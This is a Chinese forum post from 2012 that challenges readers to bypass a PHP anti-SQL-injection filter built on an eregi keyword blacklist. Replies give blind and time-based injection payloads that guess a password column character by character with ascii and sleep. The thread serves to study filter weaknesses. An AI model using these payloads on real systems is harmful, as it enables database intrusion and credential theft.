本帖最后由 晴天小铸 于 2012-6-17 12:58 编辑
<?php
$sb=$_GET['sb'];
$a=inject_check($sb);
echo "$a";
function inject_check($sql_str) {
if(strtoupper($sql_str)=="UPDATETIME" ){
return eregi('select|insert|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile', $sql_str);
}else{
return eregi('select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile', $sql_str);
}
}
?>**大家能突破么,127.0.0.1:8080/1.php?sb=select ,返回1你就输了,返回空白你就赢了。 前提是注入代码能运行。。[b]
{:4_49:}
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[b]3漏洞的一个朋友:**
**select * from admin where id=1 and ascii(left(pass,1))>=0,这里ID可以注入
and ascii(left(pass,1))>=0
用ascii猜解成功绕过那个防注入**
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
**where x=x and 1=ascii(substring(pass,1,1)) and sleep(100)
只有满足前面的and才会执行sleep**
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
**继续讨论**